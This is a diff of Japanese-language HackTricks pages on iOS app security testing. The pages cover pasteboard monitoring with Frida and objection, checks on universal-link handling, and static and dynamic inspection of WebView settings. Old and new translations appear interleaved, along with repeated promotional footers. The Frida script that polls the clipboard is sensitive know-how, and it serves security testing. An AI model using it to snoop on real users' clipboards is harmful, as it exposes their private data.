* `setItems:options:` をフックして、`UIPasteboardOptionLocalOnly` や `UIPasteboardOptionExpirationDate` などのオプションを検査することで、除外されたアイテムや有効期限のあるアイテムを確認します。
文字列のみを探している場合は、**objection** のコマンド `ios pasteboard monitor` を使用すると良いでしょう:
> iOS UIPasteboard クラスにフックし、5秒ごとに generalPasteboard のデータをポーリングします。新しいデータが見つかり、前回のポーリングと異なる場合、そのデータが画面に表示されます。
また、上記で見たような特定の情報を監視する独自のペーストボードモニターを構築することもできます。
例えば、このスクリプト([objectionのペーストボードモニター](https://github.com/sensepost/objection/blob/b39ee53b5ba2e9a271797d2f3931d79c46dccfdb/agent/src/ios/pasteboard.ts)の背後にあるスクリプトから着想を得ては、5秒ごとにペーストボードアイテムを読み取り、新しいものがあればそれを印刷します
```
```javascript
const UIPasteboard = ObjC.classes.UIPasteboard;
const Pasteboard = UIPasteboard.generalPasteboard();
@ -86,16 +94,14 @@ console.log(items);
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキング</strong>をゼロからヒーローまで学ぶ</strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -1,32 +1,30 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください!</strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* **HackTricksにあなたの会社を広告掲載したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
ユニバーサルリンクは、ユーザーをSafariを経由せずにアプリに直接リダイレクトすることができます。\
ユニバーサルリンクは**一意**であり、他のアプリによって**クレームされることはありません**。これは、ウェブサイトとアプリが関連していることを確認するために、所有者がファイルをアップロードしたウェブサイトの**標準的なHTTP(S)リンク**を使用します。\
これらのリンクはHTTP(S)スキームを使用しているため、**アプリがインストールされていない場合、Safariがリンクを開き**、ユーザーをページにリダイレクトします。これにより、**アプリがインストールされていなくてもアプリと通信することができます**。
ユニバーサルリンクは、リダイレクトのためにSafariを経由せずに、**ユーザーを直接アプリにリダイレクト**することができます。\
ユニバーサルリンクは**ユニーク**であり、**他のアプリによって主張されることはありません**。なぜなら、ウェブサイトとアプリが関連していることを確認するためにファイルをアップロードしたウェブサイトへの標準的なHTTP(S)リンクを使用するからです。\
これらのリンクはHTTP(S)スキームを使用しているため、**アプリがインストールされていない場合、Safariがリンクを開き**、ユーザーをページにリダイレクトします。これにより、**アプリがインストールされていなくてもアプリと通信することができます**。
ユニバーサルリンクを作成するには、詳細を含むJSONファイルである`apple-app-site-association`というファイルを作成する必要があります。その後、このファイルを**ウェブサーバーのルートディレクトリにホストする必要があります**(例:[https://google.com/apple-app-site-association](https://google.com/apple-app-site-association))。\
ペンテスターにとって、このファイルは非常に興味深いものです。それはまだ公開されていないリリースのパスを公開することさえあります。
ユニバーサルリンクを作成するには、詳細を含む`apple-app-site-association`というJSONファイルを**作成する必要があります**。その後、このファイルをウェブサーバーのルートディレクトリに**ホストする必要があります**(例:[https://google.com/apple-app-site-association](https://google.com/apple-app-site-association))。\
ネトレーションテスターにとって、このファイルはパスを**開示する**ため非常に興味深いものです。まだ公開されていないリリースのパスを開示している可能性もあります。
## 関連ドメインの権限を確認する
## **関連ドメインのエンタイトルメントをチェックする**
Xcodeで、**Capabilities**タブに移動し、**Associated Domains**を検索します。または、`.entitlements`ファイルを調べて`com.apple.developer.associated-domains`を探します。各ドメインは`applinks:`で始まる必要があります。例:`applinks:www.mywebsite.com`
Xcodeで、**Capabilities**タブに移動し、**Associated Domains**を探します。または、`com.apple.developer.associated-domains`を探して`.entitlements`ファイルを調べることもできます。各ドメインは`applinks:`でプレフィックスを付ける必要があります。例えば`applinks:www.mywebsite.com`のように
Telegramの`.entitlements`ファイルの例です:
以下はTelegramの`.entitlements`ファイルからの例です:
```markup
<key>com.apple.developer.associated-domains</key>
<array>
@ -34,31 +32,31 @@ Telegramの`.entitlements`ファイルの例です:
<string>applinks:t.me</string>
</array>
```
詳細な情報は、[アーカイブされたApple Developerドキュメント](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple\_ref/doc/uid/TP40016308-CH12-SW2)で見つけることができます。
詳細な情報は、[アーカイブされたApple Developer Documentation](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)で見つけることができます。
コンパイルされたアプリケーションしか持っていない場合は、次のガイドに従ってエンタイトルメントを抽出することができます:
コンパイル済みのアプリケーションしかない場合は、以下のガイドに従ってentitlementsを抽出できます
{% content-ref url="extracting-entitlements-from-compiled-application.md" %}
[extracting-entitlements-from-compiled-application.md](extracting-entitlements-from-compiled-application.md)
{% endcontent-ref %}
## Apple App Site Associationファイルの取得
## **Apple App Site Associationファイルの取得**
前のステップで取得した関連ドメインを使用して、サーバーから`apple-app-site-association`ファイルを取得してみてください。このファイルは、`https://<domain>/apple-app-site-association`または`https://<domain>/.well-known/apple-app-site-association`でHTTPS経由でアクセス可能である必要があります。
前のステップで取得した関連ドメインを使用して、サーバーから`apple-app-site-association`ファイルを取得してください。このファイルは、`https://<domain>/apple-app-site-association` または `https://<domain>/.well-known/apple-app-site-association` でHTTPS経由でアクセス可能であり、リダイレクトがない必要があります。
自分のブラウザで取得するか、[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)を使用することができます。
ブラウザを使用して自分で取得するか、[Apple App Site Association (AASA) Validator](https://branch.io/resources/aasa-validator/)を使用できます。
## リンクレシーバーメソッドの確認
## **リンク受信メソッドのチェック**
リンクを受け取り、適切に処理するためには、アプリデリゲート[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)を実装する必要があります。元のプロジェクトがある場合は、このメソッドを検索してみてください。
アプリがリンクを受け取り、適切に処理するためには、アプリデリゲート[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)を実装する必要があります。元のプロジェクトを持っている場合は、このメソッドを探してみてください。
なお、アプリが[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)を使用してアプリのウェブサイトへのユニバーサルリンクを開く場合、リンクはアプリ内で開かれません。呼び出しがアプリから発生するため、ユニバーサルリンクとして処理されません。
アプリが[`openURL:options:completionHandler:`](https://developer.apple.com/documentation/uikit/uiapplication/1648685-openurl?language=objc)を使用してアプリのウェブサイトへのユニバーサルリンクを開く場合、リンクはアプリ内で開かれません。呼び出しがアプリから発生するため、ユニバーサルリンクとして処理されません。
* `webpageURL`のスキームはHTTPまたはHTTPSである必要があります(他のスキームは例外をスローするはずです)。`URLComponents` / `NSURLComponents`の[`scheme`インスタンスプロパティ](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme)を使用してこれを確認できます。
* `webpageURL`のスキームはHTTPまたはHTTPSでなければなりません(他のスキームは例外を投げるべきです)。`URLComponents` / `NSURLComponents`の[`scheme`インスタンスプロパティ](https://developer.apple.com/documentation/foundation/urlcomponents/1779624-scheme)を使用してこれを確認できます。
## データハンドラーメソッドの確認
## **データハンドラーメソッドのチェック**
iOSがユニバーサルリンクの結果としてアプリを開くと、アプリは`NSUserActivityTypeBrowsingWeb`という`activityType`値を持つ`NSUserActivity`オブジェクトを受け取ります。アクティビティオブジェクトの`webpageURL`プロパティには、ユーザーがアクセスするHTTPまたはHTTPSURLが含まれています。以下のSwiftの例は、URLを開く前にこれを正確に検証しています:
iOSがユニバーサルリンクの結果としてアプリを開くとき、アプリは`NSUserActivityTypeBrowsingWeb`の`activityType`値を持つ`NSUserActivity`オブジェクトを受け取ります。アクティビティオブジェクトの`webpageURL`プロパティには、ユーザーがアクセスするHTTPまたはHTTPS URLが含まれています。以下のSwiftの例は、URLを開く前にこれを正確に検証します:
```swift
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
@ -70,9 +68,9 @@ application.open(url, options: [:], completionHandler: nil)
return true
}
```
さらに、URLにパラメータが含まれている場合は、信頼されたドメインからであっても、慎重にサニタイズおよび検証する必要があります。たとえば、それらは攻撃者によって改ざんされた可能性があるか、不正なデータが含まれている可能性があります。その場合、URL全体およびしたがってユニバーサルリンクのリクエスト全体を破棄する必要があります
さらに、URLにパラメータが含まれている場合、それらは信頼されたドメインから来たとしても、慎重にサニタイズされ、検証されるまでは信用してはいけません。例えば、攻撃者によって偽装されていたり、不正なデータを含んでいる可能性があります。そのような場合、URL全体、そしてその結果としてのユニバーサルリンクリクエストは破棄されなければなりません
`NSURLComponents` APIは、URLのコンポーネントを解析および操作するために使用できます。これは、`application:continueUserActivity:restorationHandler:`メソッド自体の一部として行われる場合もありますし、それを呼び出す別のメソッドで行われる場合もあります。次の[例](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935)は、これを示しています。
`NSURLComponents` APIは、URLのコンポーネントを解析し、操作するために使用できます。これは、`application:continueUserActivity:restorationHandler:` メソッド自体の一部としても、またはそれから呼び出される別のメソッドで行われることもあります。以下の[例](https://developer.apple.com/documentation/uikit/core\_app/allowing\_apps\_and\_websites\_to\_link\_to\_your\_content/handling\_universal\_links#3001935)がこれを示しています:
```swift
func application(_ application: UIApplication,
continue userActivity: NSUserActivity,
@ -106,16 +104,14 @@ return false
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

View file

@ -2,55 +2,42 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をご覧ください!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを共有する。
</details>
## WebViewsの種類
WebViewsは、インタラクティブな**ウェブコンテンツ**を表示するためのアプリ内ブラウザコンポーネントです。これらはアプリのユーザーインターフェースに直接ウェブコンテンツを埋め込むために使用されます。iOSのWebViewsは、デフォルトで**JavaScriptの実行をサポート**しているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。
WebViewsは、インタラクティブな**web** **コンテンツ**を表示するためのアプリ内ブラウザコンポーネントです。これらは、webコンテンツをアプリのユーザーインターフェースに直接埋め込むために使用されます。iOS WebViewsは**デフォルトで** **JavaScript**の実行を**サポート**しているため、スクリプトの注入やクロスサイトスクリプティング攻撃の影響を受ける可能性があります。
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** iOS 12以降では非推奨となり、使用すべきではありません。**JavaScriptを無効にすることはできません**。
* [**UIWebView**](https://developer.apple.com/documentation/uikit/uiwebview)**:** UIWebViewはiOS 12から非推奨となっており、使用すべきではありません。**JavaScriptを無効にすることはできません**。
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): アプリ機能の拡張、表示されるコンテンツの制御に適した選択です。
* **JavaScript**はデフォルトで有効ですが、`WKWebView`の**`javaScriptEnabled`**プロパティにより、**完全に無効化することができ**、すべてのスクリプト注入の欠陥を防ぐことができます。
* **`JavaScriptCanOpenWindowsAutomatically`**は、JavaScriptが新しいウィンドウ例えばポップアップを**開くのを防ぐ**ために使用できます。
* **`hasOnlySecureContent`**プロパティは、WebViewによってロードされるリソースが暗号化された接続を通じて取得されていることを確認するために使用できます。
* `WKWebView`はプロセス外レンダリングを実装しているため、**メモリ破損バグが**メインアプリプロセスに影響を与えることは**ありません**。
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** **一般的なwebビューイング体験**を提供するために使用すべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見分けることができます
* [**WKWebView**](https://developer.apple.com/documentation/webkit/wkwebview): これはアプリの機能を拡張し、表示されるコンテンツを制御するための適切な選択肢です。
* **JavaScript**はデフォルトで有効ですが、`WKWebView`の`javaScriptEnabled`プロパティにより、すべてのスクリプト注入の脆弱性を完全に無効にすることができます。
* **`JavaScriptCanOpenWindowsAutomatically`**は、ポップアップなどの新しいウィンドウをJavaScriptが開くのを**防止**するために使用できます。
* **`hasOnlySecureContent`**プロパティは、WebViewによって読み込まれるリソースが暗号化された接続を介して取得されていることを検証するために使用できます。
* `WKWebView`はプロセス外レンダリングを実装しているため、メモリの破損バグはメインのアプリプロセスに影響を与えません。
* [**SFSafariViewController**](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller)**:** これは**一般的なウェブ閲覧体験**を提供するために使用するべきです。これらのWebViewsは、以下の要素を含む特徴的なレイアウトを持っているため、簡単に見つけることができます。
* セキュリティインジケータを持つ読み取り専用のアドレスフィールド。
* アクション(「**共有**」)**ボタン**。
* **完了ボタン**、戻ると進むのナビゲーションボタン、およびページを直接Safariで開く「Safari」ボタン。
* 読み取り専用のアドレスフィールドとセキュリティインジケーター。
* アクション("**共有**"**ボタン**。
* **完了ボタン**、戻ると進むナビゲーションボタン、およびSafariで直接ページを開くための"Safari"ボタン。
<img src="https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc_%2F-Lf1AQxr7FPsOyPFSGcs%2Fsfsafariviewcontroller.png?alt=media" alt="" data-size="original">
* `SFSafariViewController`では**JavaScriptを無効にすることはできず**、これは`WKWebView`の使用が推奨される理由の1つです。
* `SFSafariViewController`では**JavaScriptを無効にすることはできません**。これは、アプリのユーザーインターフェースを拡張する目的で`WKWebView`の使用が推奨される理由の一つです。
* `SFSafariViewController`はまた、**Safari**とクッキーや他のウェブサイトデータを**共有します**。
* `SFSafariViewController`でのユーザーの活動や相互作用はアプリには**見えません**。アプリはオートフィルデータ、ブラウジング履歴、またはウェブサイトデータにアクセスすることはできません。
* App Store Review Guidelinesによると、`SFSafariViewController`は他のビューやレイヤーによって**隠されたり、覆い隠されたりしてはなりません**。
* `SFSafariViewController`はまた、**クッキー**や他のウェブサイトデータを**Safari**と共有します。
* ユーザーの`SFSafariViewController`でのアクティビティやインタラクションは、アプリからは**見えない**ため、AutoFillデータ、閲覧履歴、またはウェブサイトデータにアクセスすることはできません。
* App Storeのレビューガイドラインによれば、`SFSafariViewController`は**他のビューやレイヤーによって隠されたり覆われたりしてはなりません**。
## WebViewsの設定の発見
## WebViewsの設定を発見する
### 静的解析
@ -62,22 +49,6 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
1754 0x00059599 0x00059599 23 24 () ascii _OBJC_CLASS_$_UIWebView
```
**WKWebView**
WKWebViewは、iOSアプリケーション内でWebコンテンツを表示するためのコンポーネントです。UIWebViewに比べて高速でパフォーマンスが向上しており、ネイティブアプリケーションと同様の機能を提供します。
WKWebViewは、iOS 8以降で利用可能であり、Safariと同じWebKitエンジンを使用しています。これにより、モバイルアプリケーション内でWebページを表示する際に、高速かつ安全なブラウジング体験を提供することができます。
WKWebViewは、以下のような特徴を持っています。
- JavaScriptの実行と通信のサポート
- カスタムスクリプトの実行
- ページの読み込み状態の監視
- ページのスクロールとズームのサポート
- ユーザーの操作に対するイベントの処理
- クッキーの管理
- セキュリティポリシーの適用
WKWebViewは、iOSアプリケーションのセキュリティに関する重要な要素でもあります。適切なセキュリティ設定を行わないと、悪意のある攻撃者によってアプリケーションの情報が漏洩する可能性があります。したがって、iOSアプリケーションのペネトレーションテストにおいては、WKWebViewのセキュリティ設定を確認することが重要です。
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
490 0x0002fef3 0x10002fef3 9 10 (5.__TEXT.__cstring) ascii WKWebView
@ -85,7 +56,7 @@ $ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
904 0x0003c960 0x0003c960 24 25 () ascii @_OBJC_CLASS_$_WKWebView
1757 0x000595e4 0x000595e4 23 24 () ascii _OBJC_CLASS_$_WKWebView
```
代わりに、これらのWebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド[`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init))を検索してください。
WebViewクラスの既知のメソッドを検索することもできます。例えば、WKWebViewを初期化するために使用されるメソッド([`init(frame:configuration:)`](https://developer.apple.com/documentation/webkit/wkwebview/1414998-init))を検索します:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x5c3ac 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
@ -93,14 +64,14 @@ $ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
0x6b5d5 77 76 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfC
0x6c3fa 79 78 __T0So9WKWebViewCABSC6CGRectV5frame_So0aB13ConfigurationC13configurationtcfcTO
```
#### JavaScriptの設定のテスト
#### JavaScriptの設定をテストする
`WKWebView`において、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にする必要があります。JavaScriptが適切に無効化されているかを確認するために、`WKPreferences`の使用箇所をプロジェクト内で検索し、[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)プロパティが`false`に設定されていることを確認してください。
`WKWebView`において、ベストプラクティスとして、JavaScriptは明示的に必要な場合を除き無効にすべきです。JavaScriptが適切に無効にされているかを確認するために、プロジェクト内で`WKPreferences`の使用箇所を検索し、[`javaScriptEnabled`](https://developer.apple.com/documentation/webkit/wkpreferences/1536203-javascriptenabled)プロパティが`false`に設定されていることを確認します:
```
let webPreferences = WKPreferences()
webPreferences.javaScriptEnabled = false
```
もしコンパイルされたバイナリしか持っていない場合、それを検索することができます。
コンパイルされたバイナリのみを持っている場合、これを検索できます:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
391 0x0002f2c7 0x10002f2c7 17 18 (4.__TEXT.__objc_methname) ascii javaScriptEnabled
@ -108,16 +79,16 @@ $ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### OnlySecureContentのテスト
`UIWebView`とは異なり、`WKWebView`を使用すると、[ミックスコンテンツ](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)HTTPSページから読み込まれたHTTPコンテンツを検出することができます。[`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent)メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を介して読み込まれたかどうかを確認することができます。\
コンパイルされたバイナリでは、
`UIWebView`とは対照的に、`WKWebView`を使用すると、[混在コンテンツ](https://developers.google.com/web/fundamentals/security/prevent-mixed-content/fixing-mixed-content?hl=en)HTTPSページからロードされたHTTPコンテンツを検出することが可能です。[`hasOnlySecureContent`](https://developer.apple.com/documentation/webkit/wkwebview/1415002-hasonlysecurecontent)メソッドを使用することで、ページ上のすべてのリソースが安全に暗号化された接続を通じてロードされたかどうかを検証できます。\
コンパイルされたバイナリ内で:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
ソースコードや文字列内で "http://" という文字列を検索することもできます。ただし、これは必ずしもミックスコンテンツの問題があることを意味するわけではありません。ミックスコンテンツについて詳しくは、[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content)を参照してください
ソースコードや文字列内で "http:// "という文字列を検索することもできます。しかし、これは必ずしも混在コンテンツの問題があるとは限りません。混在コンテンツについての詳細は、[MDN Web Docs](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed\_content)で学ぶことができます
### 動的
### 動的
`ObjC.choose()` を使用してヒープを検査し、さまざまなタイプの WebView のインスタンスを見つけることができます。また、`javaScriptEnabled` と `hasonlysecurecontent` のプロパティを検索することもできます。
`ObjC.choose()` を使用してヒープを検査し、異なるタイプのWebViewsのインスタンスを見つけることができます。また、プロパティ `javaScriptEnabled``hasonlysecurecontent` を検索することも可能です:
{% code title="webviews_inspector.js" %}
```javascript
@ -164,9 +135,9 @@ console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
次のコードを使用して読み込みます:
```
Load it with:
```
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
